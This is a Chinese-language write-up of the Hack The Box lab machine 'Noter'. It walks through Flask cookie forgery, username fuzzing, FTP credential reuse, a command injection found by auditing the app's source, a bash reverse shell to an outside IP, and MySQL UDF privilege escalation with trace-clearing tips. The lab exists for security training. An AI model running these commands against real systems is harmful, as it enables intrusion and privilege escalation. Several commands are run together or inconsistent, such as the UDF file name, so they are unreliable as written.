概述 (Overview)
HOST: 10.10.11.160
OS: LINUX
发布时间: 2022-05-08
完成时间: 2022-06-22
机器作者: kavigihan[1]
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Node #Flask #SourceCodeAnalysis #Fuzzing #MysqlUDF
攻击链 (Kiillchain)
使用 Nmap 扫描目标服务器开放端口,发现 5000 端口存在 Web 服务。对其进行分析发现 Cookie 存在授信会话伪造,利用该风险结合用户枚举成功登录控制台。在控制消息列表中找到 FTP 登录账号,进一步在 FTP 文件 PDF 中找到默认口令生成规则,成功已 ftp_admin 身份得到 Web 服务源代码备份压缩包。经过代码审计成功找到命令注入,成功拿到初步的立足点。最终通过信息收集发现 mysql udf 攻击路径,完成权限提升。
枚举(Enumeration)
老样子,还是使用 Nmap 对目标服务器开放端口进行扫描。
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH8.2p1Ubuntu4ubuntu0.3(UbuntuLinux; protocol 2.0)
| ssh-hostkey:
|3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d(RSA)
|2565f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43(ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39(ED25519)
5000/tcp open http Werkzeug httpd 2.0.2(Python3.8.10)
|_http-title:Noter
| http-methods:
|_ SupportedMethods: GET OPTIONS HEAD
|_http-server-header:Werkzeug/2.0.2Python/3.8.10
ServiceInfo:OSs:Unix,Linux; CPE: cpe:/o:linux:linux_kernel
能在指纹中获悉 5000 端口的 Web 服务对外开放,组件用的 Werkzeug,这也许是我们打点的突破口。
Port 5000 - Werkzeug
通过浏览器进行访问,能够得到一个登录页面:
观察到返回请求的 Cookie 中生成了一段类似 JWT 的字符串,使用 jwt_tools 工具进行解析提示错误,说明它不是一个有效的 JWT 或者存在错误。使用 burp 的 JWT 插件解出来存在乱码:
通过 google 进行语法搜索,找到对该应用的 Cookie 相关文章 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask
里面指向一个python工具 flask-unsign - https://pypi.org/project/flask-unsign/[2] ,通过它能够从加密字符串中提取信息:
$ flask-unsign --decode --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ"
{'logged_in':True,'username':'test'}
接下来尝试伪造授信加密字符串,但需要知道有效的签名。观察工具帮助信息中存在暴力枚举功能,所以使用它成功得到了有效的签名。
$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ"--wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
[*]Session decodes to:{'logged_in':True,'username':'test'}
[*]Starting brute-forcer with 8 threads..
[+]Found secret key after 17024 attempts
b'secret123'
能够伪造授信会话后又面对新的问题,需要寻找存在的登录账号。还好这步比较简单,只要观察返回信息就能推断出已注册的用户。
用户不存在返回:Invalid login,用户存在返回:Invalid credentials。根据这一信息,使用 ffuf 工具对登录请求进行 fuzzing。
$ ffuf -w ./SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&password=admin"-u http://10.10.11.160:5000/login -H "Content-Type: application/x-www-form-urlencoded"-fr "Invalid credentials"
...snip...
blue [Status:200,Size:2027,Words:432,Lines:69,Duration:655ms]
::Progress:[10177/10177]::Job[1/1]::224 req/sec ::Duration:[0:00:46]::Errors:0::
成功枚举出一个 blue 用户,伪造该用户的授信会话成功进入控制台。
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}"--secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrKRKw.gQESJBT_qzP5pv35XwMB2gwdnkw
在里面能看到 ftp_admin 用户发的消息,里面有一组账号密码。
第一反应是 ssh 登录,但发现一登录就被 kill 了会话。
立足点(Foothold)
登录 FTP 服务进行查看,发现就一个 PDF 文件。
从里面的内容可以找账号口令生成规则,根据这一特效登录 ftp_admin 账号。
ftp_admin
ftp_admin@Noter!
发现里面存在两个应用备份文件,下载到本地进行分析。这里我直接采用 diff 命令进行文件夹内容比对:
对代码进行审计,发现 export_note_remote 方法存在命令注入漏洞:
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
defexport_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if(status isTrue)and(error isNone):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command =f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir +f'{str(rand_int)}.pdf'):
return send_file(attachment_dir +f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
exceptExceptionas e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
exceptExceptionas e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
对传递的 url 参数进行出网验证,成功。
在本地创建的 md 文件中写入反弹 shell 语句,成功得到立足点。
实际脚本运行的恶意 bash 如下:
node misc/md-to-pdf.js $'--';bash -i >&/dev/tcp/10.10.17.64/90900>&1;'--'{1...1000}
权限提升(Privilege Escalation)
传递 linpeas 脚本至目标服务器执行,对服务器环境进行深度的脆弱性分析。其中发现 mysql 服务是已 root 用户启动的,而通过前面的代码审计已经知道了 mysql 登录口令,这意味着我们可以尝试 UDF 提权。
UDF 的利用有一个前提, mysql.user 具备本地文件读写权限
User-Defined Function (UDF) Dynamic Library - https://www.exploit-db.com/exploits/1518
接下来开始利用过程,首先使用 mysql 的 -e
参数执行 sql 语句,查询 plugin 的本地路径:
$ mysql -uroot -pNildogg36 -Dapp-e "show variables like '%plugin%';"
Variable_nameValue
plugin_dir /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
plugin_maturity gamma
随后将 MSF 中 UDF 利用组件 /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so 文件传递至目标服务器,利用 load_file 函数将文件的内容生成十六进制字符串。随后将这串十六进制内容通过 unhex 函数 dumpfile 到 plugin 路径下。
select hex(load_file('/home/svc/lib_mysqludf_sys_64.so'))into outfile '/tmp/udf.txt';
select unhex('7F454C4602010100000......')into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf.so'
导出至 plugin 文件后,需要运行 create 语句对其进行加载,才能运行 so 文件内的自定义函数。
createfunction sys_exec returnsint soname 'udf.dll';
题外话
# 如果要删除函数(清除痕迹),udf文件必须还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';
参看 lib_mysqludf_sys_64.so 支持哪些函数可运行 $ nm -D lib_mysqludf_sys_64.so
参考
-
• https://github.com/SEC-GO/Red-vs-Blue/blob/master/linux%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84MySQL%20UDF%E6%8F%90%E6%9D%83.md
-
• https://www.exploit-db.com/exploits/1518
引用链接
[1]
kavigihan: https://app.hackthebox.com/users/389926[2]
flask-unsign - https://pypi.org/project/flask-unsign/: https://pypi.org/project/flask-unsign/
原文始发于微信公众号(一个人的安全笔记):[HTB] Noter Writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论